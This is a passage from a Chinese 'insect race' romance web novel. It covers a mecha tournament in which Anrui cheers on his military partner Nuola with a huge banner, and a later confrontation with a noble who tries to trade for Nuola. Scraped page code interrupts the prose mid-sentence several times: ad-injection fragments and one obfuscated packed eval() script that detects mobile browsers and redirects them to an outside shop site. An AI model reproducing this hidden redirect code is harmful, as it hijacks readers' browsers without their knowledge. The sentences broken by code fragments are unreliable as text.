机甲比赛前一天晚上,安瑞特意拉开原主放正装的衣柜,准备挑一套明天穿的衣服。 穿越过来这一个月,安瑞每天就是围着灶台转,再加上他本身对衣服也不是很在意,所以日常穿的除了几套睡衣就是手边的帽衫外加牛仔裤,原主的衣柜他还是第一次打开。 不过看这XXXL号的大衣柜,里面应该有不少好衣服吧。 安瑞满怀希望地打开衣柜门,然后就傻眼了。 原主的衣服确实很多,但都是礼服套装,而且颜色大多是饱和度超高的蓝色红色,不能说不好看吧,但安瑞觉得自己要是明天穿这么一身,恐怕诺拉都不会认他这个亲友了。 安瑞咬着牙挑了半天,终于找到一件白色衬衫,他刚喜出望外地拿出来,然后就发现白色衬衫的背面是两排整整齐齐的金色亮片。 安瑞:…… 他服了呀。 挣扎了将近一个小时之后,安瑞任命般地敲响了诺拉卧室的门。 “雄主?” 诺拉对安瑞晚上地到访表示非常惊讶,但依旧很恭敬地把安瑞请进来。 严格来说,这还是安瑞第一次倒进入诺拉的次卧,虽然诺拉平常从来不会关门,几乎是默许了安瑞可以随时进屋检查,但是出于对室友隐私的尊重,安瑞从来没有擅自进入,甚至经过的时候也不会在门口张望。 虽然安瑞已经有预感,诺拉的屋子应该会非常整洁,但真的进来了之后,安瑞还是被小小地震撼了一下。 不算大的次卧空空荡荡,除了原本的一张床,一套桌椅和一个衣柜之外,再没有其他东西。 就连桌子上的东西都少的可怜,除了几本军部手册之外,只有一个巴掌大的机甲模型,孤零零站在桌角。 太干净了,干净得有点不像一个家了。 不知道为什么,安瑞心里忽然有些不得劲,他努力压下心中的异样,有点不好意思地笑笑。 “诺拉,你有多余的西服套装吗?” * 不得不说,诺拉的衣柜就正常多了,安瑞挑挑选选,最终拿了一套灰色西服。 第二天上午,安瑞起了个大早,先洗了个头,然后用发胶小心翼翼地做了个发型。 幸亏他在蓝星偶尔上电视节目,简单的发型也会做几个,要不然今天还真抓瞎了。 做完发型,安瑞又把那套西装穿上,对着镜子左右照了照。 大小倒是合适,就是前胸这里有点宽了。 安瑞的脑海里一下就浮现出自家室友饱满的蜜色胸肌…… 他也想要那样的胸肌。 今天也是对着自家室友身材流口水的一天。 * 安瑞走出房间,诺拉已经准备好了早饭。 “不是说让你多睡一会儿吗?” “我没事的,雄主” 诺拉一边说一边把煎蛋从锅里盛出来,很自然地递给安瑞,又去拿烤好的面包。 直到一顿早饭做完,诺拉的目光才落在自家雄主身上,然后他就被惊艳到了。 诺拉早就知道,自家雄主长得比一般亚雌还要好看,但是因为安瑞平常过于的不修边幅,一天大多数时间都是睡衣外面罩围裙,所以渐渐地,诺拉也就习惯了安瑞的长相。 但是今天的雄主和以往完全不同。 一身低调但是不寒酸的灰色西装,衬得雄虫身姿挺拔,肌肤如雪,利索的黑色短发下面,是一双弯月一般黑色的眸子。脖颈修长,腰肢纤细,两条长腿在西裤的勾勒下,显出很好看的线条。 忽然就不想带着雄主去军部了。 想把雄主藏在家里,谁都不给看。 诺拉暗搓搓地想。 “回神了。”安瑞朝着看傻了的军雌打了个响指,又忍不住 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冲着他转了一圈,“好看不?” “好看,特别好看。” 诺拉一句话说完,又有点埋怨自己为什么不在军校选修一节诗词课。 这样的话,他就不会干巴巴的,只能说出“好看”两个字。 好在安瑞也知道自家室友不是个能说会道的虫,随口逗弄一句,就回到座位上快速解决了早餐,然后带着一大包“应援”物资,陪着诺拉来了军部。 * 距离比赛正式开始还有将近一个小时,比赛场地已经是虫山虫海。 军雌已经就坐完毕,互相争论着到底谁才是这届的冠军,还有不少军雌拿着自己军团的小旗子,在空中挥舞着为自己军团的选手加油。负责组织工作军雌更是忙得焦头烂额,一边引导贵宾,一边还要努力维持秩序。 诺拉把安瑞带到主席台旁边的观看区坐好,又亲自给诺拉倒了热水,才招手把一旁的夏佐叫过来。 “很抱歉雄主,诺拉要去准备比赛,这个是我的同事夏佐,我让他服侍您可以吗?” 安瑞看着身边的红发雌虫,愣了一下而后恍然。 “夏佐是吧,上次来军部的时候咱们见过的。”安瑞站起来伸出手,“没想到这么快又见面了。” “没想到阁下还记得我,真是夏佐的荣幸。” 红发雌虫笑着握了一下安瑞的手,又忍不住偷偷打量对面的雄子。 不知道是不是错觉,他怎么觉得安瑞的西服这么眼熟呢? 下一刻,夏佐猛地反应过来,这件西服不是诺拉当初在毕业晚会上穿的吗? 自家好友的这位雄主,是真不讲究啊。 另一边,安瑞冲诺拉安抚地笑笑:“快去准备比赛吧,加油。” 看着诺拉走远了,安瑞四下打量了一下自己所在的席位。 偌大的一片棚子里,只稀稀拉拉罢了二十几个座位,跟对面挤在赛场边上,平均每只虫的位置不到一个军用马扎的军雌形成了鲜明对比。 尤其是自己坐的这个位置,宽大的真皮沙发几乎能容纳三个他同时就坐,面前的桌子上除了水杯,还摆了不少时新瓜果和点心,简直就是 VVVIP才能享受的待遇。 后面的座位就普通多了,虽然位置也还算宽敞,但只是寻常座椅,前面也没有桌子。 果然,头等舱、公务舱和经济舱的理论,在虫星也是适用的。 安瑞笑着请夏佐坐下:“我带了点给诺拉加油的横幅,咱们军部应该能挂吧。” “当然可以,我帮您。” 安瑞把横幅从塑料桶里抽出来,让夏佐拿着一头,自己捋着横幅卷慢慢展开。 一步,两步,三步…… 随着距离的增加,安瑞的表情逐渐从平静变得震惊,然后又变得麻木。 在走出去二十多步之后,横幅终于拉到了头。 二十多米长,四五米宽的红色横幅上,写着几个金色的大字。 ——诺拉最强,没得商量,哪个不服,给他一枪。 不是,这和他填的备注有半个星币的关系吗? 安瑞看着横幅,忍不住开始思考,如果他真的把横幅挂出去,诺拉会不会真的不认他这个亲友。 19. 第 19 章 经过短暂的思考,安瑞果断地决定收起横幅,假装什么都没发生过。 “阁下。”安瑞刚收到一半,就被夏佐拦住了,“不把横幅挂上去吗?” 安瑞有点尴尬地挠了挠头发:“那个,店主应该是做错尺寸了,标注语也改了,就不挂了吧。” “夏佐倒是觉得挺好的,这边地方大,刚好能挂的下,而且横幅越大越醒目。” 红发雌虫善解虫意地笑了笑:“况且,诺拉要是看到您给他定制了横幅,肯定会特别高兴的。” 安瑞盯着横幅,犹豫了三秒钟,然后一咬牙。 算了,今儿个就今儿个了。 他向后退了几步,把横幅拉直:“夏少将,帮个忙,咱们把横幅挂起来。” 几分钟后,巨大的红色横幅挂在了主席台边贵宾席的看台栏杆上,一虫多高的金色大字,在比赛场地对面都能看得清清楚楚。 好不容易有点安静下来地军雌看台再一次炸了。 “那边不是雄虫看台吗?” “天啊,那个横幅不会是诺拉少将的雄主给少将准备的吧。” “太甜了太甜了,今天也是为绝美爱情落泪的一天。” 当然除了这些羡慕的言论之外,也有一些以第二军团为首的军雌不屑地撇了撇嘴。 “就诺拉那木头样,居然还能得雄主喜欢。” “喜欢又怎么样,还不是个雌奴。” “就是,咱们亚历克斯少将的雄主可是格林家族的贵族雄虫呢。” * 安瑞挂好了横幅,又从储物胶囊里把之前买的加油必备物资一样一样掏出来。 五角星拍手器、前面带了个足球一吹就能响的小喇叭,彩色的拉拉花球,还有一个带着Q版雌虫的加油手牌…… 琳琅满目的小东西瞬间摆满了一桌子,看得夏佐目瞪口呆。 “阁下对诺拉少将真是用心呢。” “没有,就是随便买了点。”安瑞勾了勾唇角,随口问,“军部的机甲大赛好像是四年一次,那诺拉之前应该也参加过吧。” 他还记得档案上写着,诺拉今年28岁。 “加上这次,诺拉一共参加过三届机甲比赛。第一次参赛的时候,他刚刚从军校毕业,就拿到了第五名的成绩,我们当时都觉得,下一次比赛,诺拉肯定能拿冠军。” 说到这,红发雌虫的表情明显变了变。 “可惜不巧,就在比赛之前的一个月,诺拉去荒星执行任务,精神海严重受损,精神力出于暴乱的边缘,虽然后来勉强稳定下来,但还是在预选赛就被淘汰了。” 安瑞的心里突然就有些不是滋味。 如果诺拉那次比赛能拿第一,现在应该就不仅仅是个少将了吧。 自从家里住这个军部少将的室友之后,安瑞或主动或被动的,也接触了不少有关虫族军队的知识。 少将和中将,一字之差,地位却是天差地别。少将只能勉强算是中层军官,每个军团的少将少说也有几十个,但是中将只有寥寥数个,基本算是一个军团的副司令员。 很多军雌穷极一生,也只能停留在少将的职位,况且自从七年前和蜥蜴人族的一场大战之后,星域基本和平,少有战乱,立功的机会更是寥寥无几,升迁就更困难了。 “没关系,这次诺拉肯定会赢。” 虽然不清楚诺拉的对手是谁,但是安瑞对自家室友非常有信心。 “是啊,这多亏了您,我能感觉到,诺拉的精神海非常健康。” 夏佐蓦地想起不久前诺拉跟他说的话。 ——“雄主给我做了精神力舒缓,但是依旧没有使用我。” ——“昨天我们逛超市,雄主收了一只亚雌的照片,看起来很喜欢。” ——“雄主可能真的不喜欢我这样的军雌吧。” 虽然夏佐一直都对自家好友原本应该用来谈恋爱的脑子全部用在了兵法和格斗上,但是他从没怀疑过诺拉最后一句话的真实性。 可是今天,和安瑞本虫接触了一会儿,他突然就开始怀疑诺拉上述推断的真实性了。 夏佐看了看一桌子的加油小道具,又偷偷瞟了一眼安瑞身上的灰色西服,最终根据他阅雄无数的经验下了定论。 ——就算安瑞没那么喜欢诺拉,至少不可能对诺拉完全无感。 滚圆的浅棕色眼睛转了转,夏佐试探着开口:“阁下,诺拉有时候挺无趣的吧?” 安瑞脑子里瞬间响起了呜哇的警报声。 《论暗恋对象的闺蜜突然问你暗恋对象是不是有××缺点》 这纯纯送命题啊。 安瑞回忆着蓝星上大学的时候,四年谈了五段恋爱的室友向他们传授的恋爱技巧。 “还可以吧,诺拉是个特别好的虫。” 夏佐有点绝望。 难道是他想错了? 这好虫卡发的也太快了吧。 但是为了好友的幸福,夏佐还是打算再挣扎一下。 “阁下,您也别太怪诺拉,毕竟出身在那样的家庭,诺拉他可能确实不太会和其他虫打交道,尤其是雄虫。” 安瑞精神一振。 他还记得诺拉的档案上亲属的资料不过寥寥几笔,童年的经历更是几乎为零,履历是从他考入帝国大学开始的。 不过当时因为不太熟,所以安瑞也没敢细问。 安瑞犹豫了一下,还是问出了之前的疑惑:“我记得,诺拉的档案上,亲属只有他的雌兄?” “其实我知道的也不是很多,我只知道诺拉在很小的时候,他的雌父就去世了,不久之后他和他的雌兄被雄父赶了出来,两兄弟相依为命,日子过得挺苦的。” 夏佐一边说一边叹了口气:“再后来,他雌兄终于考上军校,进了军部,分配了雄主,原指望日子能好过起来,结果他雌兄的雄主对他雌兄不好,对诺拉更是不闻不问,乃至拳打脚踢。” 安瑞的眉头紧紧拧在一块:“按照法律,诺拉的雌兄要把工资全部上交给雄虫,那诺拉岂不是完全没有生活费?” “说的就是啊,我当时大学和诺拉一个宿舍,他每天都是早上六点钟出去,晚上九十点才回来,不是拼命练体能,就是做各种兼职。我还记得我们军校外面有一家还不错的蛋糕店,我们没事都喜欢去里面买甜品,只有诺拉从来没买过。” 安瑞沉默了。 果然,就像他想的那样,强制分配的规定根本不是雌虫的福音,而是负担。 如果没有强制分配,至少诺拉的雌兄不用把工资上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 交,诺拉的少年时代也不会那样窘迫。 夏佐一边说,一边偷偷观察雄虫的表情,果不其然,他在那对漆黑的眸子中,看到了一闪而过的心疼。 他在心里比了个耶,刚想再替诺拉卖卖惨,外面忽然一阵兵荒马乱,呼呼啦啦进来了十几个。 为首的是一只雄虫,身高不到一米七,体重看着却至少有二百斤,从远处看就跟个地雷成精了似的。 地雷挪动着肥胖的身躯,“咚”地一声坐到了旁边的沙发上,身后跟着的雌虫和亚雌依次坐在后面的椅子上。 原来后面那些椅子,是给雄虫的雌侍雌奴们坐的。 地雷翻着三角眼,上下瞅了安瑞半天,才慢悠悠开口:“喂,你就是另一只雌虫的雄主?” 安瑞对他没有任何好感,淡淡地应了一声:“首先,我不叫喂,我叫安瑞。” 地雷冷哼一声,没回答,抬手叫过后面的一个亚雌。 年轻漂亮的亚雌就千娇百媚地走过来,窝在地雷怀里,用纤纤细手剥了个葡萄,塞进地雷的嘴里。 安瑞收回目光,默念了三遍“一个坚持,三个不原则”,才勉强压下心里的恶心。 这都什么玩意儿啊。 安瑞频繁地打开智脑看时间。 怎么还不开始,受不了了要。 终于,场地外面传来了一阵骚动,一位年长的雌虫穿着戎装走入了赛场。虽然看不清长相,看他胸前的徽章以及肩上金色的标志,应该是个大官。 下一刻,所有军雌全部立正,行注目礼,就连安瑞身边的地雷,也艰难地从座位上站起来。 看来不只是个大官,还是个很大的官。 安瑞从善如流地站起来,随着年长的雌虫慢慢走近,五官也慢慢清晰了起来。 雌虫的年龄应该挺大的了,脸上长了不少皱纹,头发也完全变成了白色,只不过一双湛蓝的眼睛如鹰隼般炯炯有神,倒是和他的年龄完全不符。 看着面前威严又不失和蔼雌虫,安瑞忽然觉得有点面熟,好像之前在哪见过。 这只雌虫到底是谁啊,能让原主那只死宅雄虫有印象…… 安瑞还在疯狂头脑风暴,就见外面的军雌已经齐刷刷地弯了腰:“参见虫皇陛下。” 安瑞脚一滑,差点跌个跟头。 他想起来了,这只雌虫是军队的最高统帅,也是帝国的最高领导者,阿尔伯特·斯蒂文。 虫皇张开双臂,示意军雌平身,然后又走到专属于雄虫的VVIP贵宾席,冲两只雄虫微微躬身。 “两位阁下安。” 安瑞急忙学着旁边地雷的样子,同样躬身。 “陛下安。” 看到虫皇回到主席台,安瑞才慢慢坐下,不由得再次感叹,虫族真是个奇怪的社会。 你要说雄虫地位不高吧,就算是虫皇见到他这样的平民雄虫,也要称一声“阁下”,不论雌虫社会地位多高,回到家也只能任由雄虫打骂。 可你要说雄虫地位高吧,从虫皇到军队政要,再到商界精英,无一例外都是雌虫。 不过很快,安瑞就没有时间想这些有的没的了,因为主席台上的虫皇已然缓慢而坚定地开口。 “我宣布,第103届机甲大赛,现在开始。” 20. 第 20 章 眨眼间,一台巨型红色机甲从天而降,“咚”地一声砸在地上,耀武扬威地举了举手里的激光枪。 第二军团的看台爆发出雷鸣一般的掌声和欢呼声。 “烈焰好帅!” 夏佐撇撇嘴,凑到安瑞身边低声解释。 “这是诺拉的对手,第二军团的亚历克斯,已经参加过五届机甲大赛了,不过连着很多次都是亚军,好不容易上一届有机会夺冠,又也因为精神力问题不得不退出了比赛。” 安瑞好奇地接话:“那冠军呢?” “自然是诺拉的雌兄了。” 提起诺拉的兄长,夏佐整只虫都眉飞色舞起来:“诺亚上将曾经蝉联了军部三届机甲冠军,至今无虫超越,可以称得上是整个军部的神话。只可惜,牺牲在七年前的那场战争中。” 安瑞轻轻叹了口气。 红色机甲已经绕着赛场走了一圈,诺拉的机甲才出现在入场口。 安瑞看着诺拉驾驶的银色机甲,忽然觉得有些熟悉。 好像跟诺拉桌子上的那个模型有点像。 不同的是机甲模型小小一个,憨憨的有点可爱,但是场上的机甲却跟可爱一点都不沾边,复合钢做成的外壳在阳光的照射下泛着冷森森的光。 他侧头问夏佐:“诺拉是不是特别喜欢机甲?” “应该吧,不过他家里情况不是特殊嘛,所以我也没怎么见过他买模型,更别提全息机甲游戏仓了。” 短短一个小时,夏佐就已经和安瑞熟络了起来,说话也随意了不少。 “我之前倒是看见,诺拉有一个白色的机甲模型。” “哦,你说那个呀,那是诺亚上将给他做的十八岁生日礼物,诺拉宝贝得紧。” 夏佐还记得自己上大学的时候,就是手欠摸了一下,然后就被诺拉按住狂揍。 那种痛,至今记忆犹新。 安瑞点点头,目光又回到赛场上。 和红色机甲不同,诺拉操纵着银色机甲,规规矩矩走到赛场中心,冲对手颔首示意。 连机甲都这么乖。 安瑞忍不住勾了勾唇角。 “小银银好帅!” 夏佐扯着嗓子嚎了一句。 安瑞脸上露出迷惑的神色:“小银……银?” 为什么他家诺拉机甲的名字如此随意。 “大名是银色闪电,仿照的是诺亚上将当初驾驶的白色闪电。” 夏佐停顿了一会儿,又忍不住小声嘟囔:“其实那场战役之后,白色闪电虽然遭到重创,可好好修修还是能用的,都怪德雷克那只死虫子。” “德雷克是谁?” 夏佐猛地反过来,旁边还坐着一只雄虫,心虚地笑笑:“没……没谁,随便说说的。” * 与此同时,赛场上的机甲已经动了起来。 烈焰先发制虫,朝着银色闪电冲过去,厚重的金属脚掌踩在地上,发出“咚咚”的巨响。 夏佐适时地为安瑞介绍:“烈焰是重装甲型机甲,防御和进攻都很厉害,但相应的对驾驶着的精神力和体力要求也高,很少有军雌能够单独驾驶。” 就听赛场上“砰”一声巨响,银色闪电似乎是躲闪不及,被烈焰撞在了肩膀上,向后退了七八步,才勉强刹住车。 安瑞心中一沉。 烈焰比银色闪电大了将近一倍,要是一直这么下去,诺拉赢面太小了。 看着安瑞脸上担忧的神色,夏佐的眼睛里闪过几分微不可查的笑意。 * 果然如安瑞所想,比赛刚一开始,亚历克斯就仗着烈焰的体型横冲直撞,招招直击银色闪电的要害。银色闪电只能打开翅翼,尽量闪转腾挪,但偶尔还是难免挨上一下。 就算是安瑞这样的纯外行也能看出来,无论是攻击能力还是防御能力,烈焰都远超银色闪电。 银色闪电唯一的优势就是灵活性,但是看交手的这几下,恐怕银色闪电的速度也不必烈焰好到哪去。 第二军团的军雌热血沸腾,相比之下,第一军团的军雌就跟霜打了的茄子一样,个个蔫头耷脑。 安瑞的脸上闪过一丝不忿。 军部也是不太聪明,就算是拳击比赛也要讲个重量级吧,凭什么那个亚历克斯就能操纵着那么大一个机甲上台,自家室友就只能用一个小号的机甲。 那要是这么算起来,他如果开星舰上去,那岂不是躺着也能赢? 安瑞哼了一声,骤然从椅子上站起来,大步走到看台边上,脚踩着栏杆,一手拿着五角星拍手器,一手举着扩音喇叭,也不管机甲里的诺拉能不能听见。 “诺拉最强。” 啪啪啪。 “没得商量。” 啪啪啪。 “哪个不服。” 啪啪啪。 “给他一枪。” 啪啪啪。 赛场对面的军雌看台忽然就安静了下来。 上千只军雌一起默默地看向对面雄虫看台上,疯狂加油的黑发雄子。 他们原本以为,做横幅这种事已经很炸裂了,没想到居然真的有雄虫会在机甲比赛的时候给雌虫加油。 虫神在上,冷面煞神为什么会有这么好的雄主啊。 嫉妒使虫质壁分离。 * 与此同时,银色闪电里的诺拉也看到了巨大的横幅旁边,给他加油的安瑞。 进场的时候,他还以为横幅是夏佐做的,但现在看来,倒更像是雄主做的。 他真的没想到,雄主会这么努力地给他加油。 诺拉只觉得心里暖呼呼的,眼睛有点涩,鼻子也跟着有点酸。 可惜比赛还没结束,不能让雄主摸一下他的脑袋。 但他还是好想回应一下雄主啊。 于是,诺拉一边应付烈焰的攻击,一边转向安瑞的看台,按了一下操纵眼睛的按钮。 然后,所有观众都看到,银色闪电在被烈焰揍得仓皇逃窜的途中,居然那向上挑起的方块眼,冲雄虫看台WINK了一下。 军雌看台传来一阵起哄声,还有不少军雌拿出智脑,照了几张照片。 安瑞被诺拉搞得哭笑不得,冲他摆摆手示意他好好打,又生怕自己干扰他发挥,后退几步坐回观众席。 真正气愤的,是赛场上的亚历克斯。 他原想着,银色闪电不过一个中型机甲,凭烈焰的实力,不说一击即中吧,至少也能在五分钟内结束战斗。 可谁想到,比赛开始快三十分钟了,虽然自己一直处于优势,但并没有给银色闪电造成什么实质性伤害,甚至诺拉还有闲情逸致和看台上的雄虫秀恩爱。 简直欺虫太甚。 看着亚历克斯加快了进攻的节奏,诺拉锋利的脸庞上露出一分胜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 券在握的冷笑。 时机差不多了。 * 看台上,安瑞已经开始思考,待会自家室友输了比赛之后,该怎么安慰他了。 毕竟,不管从哪个角度看,烈焰都基本上是稳操胜券,打败诺拉只是时间问题。 不过看刚才诺拉还有心思和他眨眼,应该问题也不是很大……吧? 安瑞还在苦思冥想之际,身边忽然传来几声惊呼。 他抬起头,就看到原本一味躲闪的银色闪电居然一反常态,掏出激光枪,冲着烈焰的前胸就是几枪。 数条红色的激光扑向烈焰,在他的胸口爆发出绚烂的火花。 烈焰攻击性能慢点,这几枪并没对他造成什么实质性的伤害。 但这几枪也足以让已经濒临爆炸边缘的亚历克斯彻底发怒。 烈焰陡然张开巨大的翅翼,冲着银色闪电飞扑过来,像座小山似的,誓要把银色闪电彻底打废。 安瑞的心陡然一沉。 算了,早点结束也好,至少解脱了。 然而,下一刻,只见原本几乎被烈焰包在翅翼里的银色机甲以一种及其诡异的姿势腾飞而起,真如一道闪电般斜插着从烈焰的翅翼缝隙中钻了出来。 还没等观众喝彩,银色闪电又立刻疾驰而回,从烈焰肩膀上掠过,机械手臂上的粒子刀已经狠狠地扎进了烈焰左翅翼和后背的连接处。 “刺啦”一声,烈焰的左翅翼连带着左臂全部被削了下来,伤口处腾起一阵黑烟,巨大的机甲随之扑倒在地,再不能起身。 安瑞惊呆了。 他家室友也太帅了吧! 什么叫先抑后扬,什么叫有勇有谋,什么叫扮猪…… 最后那个还是算了,他家诺拉才不是猪。 安瑞似乎能听到到自己砰砰乱跳的心脏,他狠狠暗了暗自己的胸口,脑子里回想的依旧是银色闪电一招制敌的样子。 完蛋。 他好像更喜欢诺拉了。 * 决赛结束之后,紧接着就是颁奖典礼,诺拉走上主席台,虫皇亲自将金色的奖牌挂在了他的脖子上。 阳光下的诺拉双眸璀璨,像两块漂亮的绿宝石,对面的第一军团欢呼雀跃,诺拉就微笑着冲他们招手。 可安瑞突然觉得哪里有些别扭。 他眯着眼睛看了一会儿,视线最终停留在那个丑陋的异能环上。 金色的奖牌与黑色的皮质项圈,实在过于的不协调。 怦怦乱跳的心慢慢冷静下来。 安瑞脑海中浮现过他第一次见到诺拉时的场景。 雌虫卑微地跪在地上,一双眼睛也没什么神采,好像宝石蒙尘。 但原本不该这样的。 诺拉应该在属于他的赛场上,大放异彩,就像今天这样。 因为强制匹配,诺拉不得不承受窘迫的少年时期,又因为强制匹配,诺拉不得不放下他的骄傲,戴上那样丑陋的异能环。 如果他是诺拉,肯定早就恨透了雄虫。 哪怕突然出现一只雄虫对他特别好,他最多也就是不讨厌这个雄虫而已,绝不可能再爱上一只雄虫。 安瑞只觉得心里搅着劲的难受,他使劲咬住嘴里的软肉,试图缓解心中的酸涩。 但不管怎么不舍得,安瑞都知道,他现在应该做的,是努力赚钱,然后,放诺拉自由。 21.第 21 章 “雄主。” “回来了。” 安瑞看着他家室友疾步朝他走过来,忽然想起了什么,脸一板,抬手给了诺拉一个爆栗。 “不好好比赛,眨什么眼睛,吓坏我了。” 一开始他还真以为诺拉赢不了了呢。 军雌有些无措地看着安瑞。 雄主这是生气了,还是没生气啊。 犹豫了一会儿,诺拉还是默默地低下头:“对不起雄主,诺拉错了,请您责罚。” 一旁的夏佐目瞪口呆。 不是哥们儿,我给你发的《迷倒雄虫108式》你到底看了没有,这会儿哪能请罪啊。 “嗯,罚你今天晚上冲我眨100次眼睛。” 诺拉愣住了,半晌之后终于意识到安瑞是在开玩笑,忍不住嗔怪地看了安瑞一眼:“雄主……” 安瑞终于绷不住了,笑着又给了诺拉一个爆栗。 “傻。” 一旁的夏佐再一次目瞪口呆。 原来这才是诺拉和他家雄主的相处方式吗? 安瑞的眼神都快拉丝了好不好。 亏他刚刚还替诺拉说了不少好话,现在想想简直是白操心了。 夏佐瞪了诺拉一眼,一边偷偷骂诺拉,一边快步离开了这个满是狗粮的看台。 诺拉根本没意识到自家好友已经愤然立场。 他把奖牌摘下来,单膝跪地,双手捧着举到安瑞面前,一双圆滚滚的眼睛里含着深深的濡慕。 安瑞含着笑,把诺拉扶起来,接过奖牌,又小心地戴在诺拉的脖子上:“特别棒。” 诺拉的耳尖又悄然红了。 “谢谢雄主。” * 比赛结束,虫皇率先退场,军雌也陆陆续续离开。安瑞也把横幅收起来,准备和诺拉回家。 “喂。” 安瑞应声回头,坐在另一边的地雷不知道什么时候走了过来,正用那双三角眼贪婪地看着诺拉。 安瑞被地雷的眼神恶心到了,默不作声地把诺拉挡在身后。 “有事吗?” 地雷□□了几声,脸上的肥肉都跟着颤了颤。 “把你家雌虫借给我玩两天怎么样?” 虽然背对着诺拉,但是安瑞也能感觉到,诺拉的身体一下就紧绷了起来。 他向后退了半步,安抚地拍了拍诺拉的有些发凉的手背,而后面色冷硬道:“请您自重 ” “一只雌奴罢了,也就你这样的毛头小子把他当个宝。放心,不让你吃亏,我用雌侍跟你换。” 地雷举起肥腻的手,冲身后招了招,跟着他来的十几只雌虫和亚雌就走过来跪成了一排。 “你随便挑,我用两个换你一个,够意思吧?” 诺拉看着跪在地上的雌虫。 有好几只身材纤细的亚雌,应该是雄主喜欢的类型。 虽然他有百分之七十的把握,安瑞不会同意,可是万一呢? 毕竟交换雌虫这种事很常见,雌兄曾经就被不止一次交还给别的雄虫。 如果是以前,他或许真的认命了,可是现在,他不愿意让除了雄主之外的任何虫碰他。 苍蓝色的眼睛有些发红,诺拉身体不住地打颤,近乎哀求地看着他的安瑞。 “雄主,求……求您……” 安瑞心疼坏了,拉住诺拉的手:“不怕啊,咱们走。” 然而,刚走两步,安瑞的肩膀就被按住了。 “小子,我劝你,别给脸不要。” 安瑞猛地回头:“我已经说过了,我不换。” 地雷脸上露出了气急败坏的神色。 作为雄虫,从小到大,身边的所有虫都对他百依百顺,不管他想要什么,都能轻而易举地得到。 刚刚比赛的时候,他就看上了银色闪电里的雌虫,颁奖典礼上看到诺拉的真容,他几乎是一下就喜欢上了。 所以他才屈尊降贵,开口向一只平民雄虫交换,还开出了一换二的优渥条件。 原以为那个雄虫不说诚惶诚恐,也必然会欣然答应,谁想到碰了个硬钉子。 他阴沉着脸:“你一个乡巴佬,知道老子姓什么吗,老子可是格林家族的雄虫!” 安瑞愣了一下,才想起来格林是啥。 “就是做食品加工的那个吧,做出来的罐头难吃不说,还纵容旗下的主播抄袭。”安瑞特别迷惑地看着地雷,“你姓就姓呗,骄傲个啥呀?” “艹!” 虽然只是格林家族的旁支,但地雷是近几年家族中少有的雄虫,就算是主家的雌虫也会对他尊敬有加。 没想到今天他一直以来引以为傲的姓氏,居然会被一只平民雄虫这样贬低。 简直是奇耻大辱。 地雷勃然大怒,抬手就打,下一刻,拳头居然被安瑞攥住了。 安瑞脸色发冷,扯着他的手往后一背,身体顺势向后转,抬脚就踹在了地雷的腿弯。 “咚”地一声,地雷跪在地上,嘴里还不住咒骂。 “艹,傻B雄虫,老子他雌的……” “闭嘴!” 安瑞右手使劲往后一掰,地雷惨叫一声,终于不说话了。 不错,这些天算是没白锻炼。 地雷身后的雌虫已经吓傻了。 有几只雌虫想试探着过来帮地雷,被诺拉一眼扫过去,全消停了。 不知道是谁报了警,没过几分钟,警车呜哇呜哇地开进军部,后面还跟着一大帮军部和雄保协会的领导。 为首的警雌小心翼翼地看着安瑞。 “阁下,可以请您先松开这位阁下吗?” “可以。” 警雌似乎是没想到会有这么好说话的雄虫,愣了半天才反应过来,长舒一口气,一个劲儿冲安瑞道谢。 “艹!” 地雷顾不得身上的疼痛,几步跑到警雌和自家雌虫身后,只探出来个脑袋。 “就是他,居然打我,你们一定要按照法律严惩。” 安瑞淡淡地瞥了他一眼:“已经婚配的雌虫,未经雄主允许,其他雄虫不得侵犯。明明是你觊觎诺拉在先,意图殴打我在后,我只是行使了正当防卫的权利。” 地雷被安瑞怼的直翻白眼。 警雌和雄保协会的负责虫面面相觑。 他们最怕的就是处理这种雄虫之间的案件,一个处理不好,被雄虫投诉,他们的饭碗也就别想要了。 按法律规定肯定是不行,只能和稀泥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546155|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 警雌咽了咽口水,先来到安瑞面前:“阁下,您看加勒特先生也没对您造成实质性伤害,要不就这么算了?” 安瑞淡淡地点头:“我没意见。” 警雌再次长舒一口气。 “那个,要不您就答应加勒特先生的要求,我们可以让加勒特先生按照市场价给您付钱。” “这位长官,我配合你们工作,不代表我没有底线,更不代表你们可以随意践踏我家雌虫的尊严。” 诺拉的心跳猛地停了半拍。 他没听错吧,雄主刚刚说,他是雄主家的雌虫。 安瑞一改之前的随和,语气发冷:“你们就是这么处理案件的?” 警雌吐出去的那口气又倒腾着吸了回来。 “抱歉阁下,实在抱歉,我们不是那个意思。” 安瑞握着诺拉的手,又恢复了淡淡的表情。 “这样最好,我们先走了,如果需要做笔录或者进行询问,我随时配合。” 安瑞带着诺拉大步离开看台,似乎能听到警雌正在向地雷赔不是,军部的领导还要安排未婚军雌给加勒特挑选…… 死道友莫死贫道。 他不是救世主,他只能管好身边的虫。 安瑞在心里对自己说。 * 诺拉脱下军服,换上了软乎乎的睡衣。 他把奖牌放在机甲模型面前。 “小白,我拿冠军了,我很高兴。” 小白依旧安安静静地站在桌角,用一双向上挑起的方块眼,平静地注视着诺拉。 安瑞捧起机甲,一点点把它身后的翅翼打开。 “但是我更高兴的是,雄主今天穿着我西服给我加油了,他做了一个很大的横幅,还买了拍手器。”雌虫轻轻勾了下唇角,“他还在另一个雄虫面前维护我,说我是他的雌虫。” 诺拉一边说,一边把刚刚打开的翅翼一点点收回去,在收完最后一部分的时候,诺拉缓缓开口:“你说,雄主他是不是,有一点点喜欢我?” “开饭啦!” 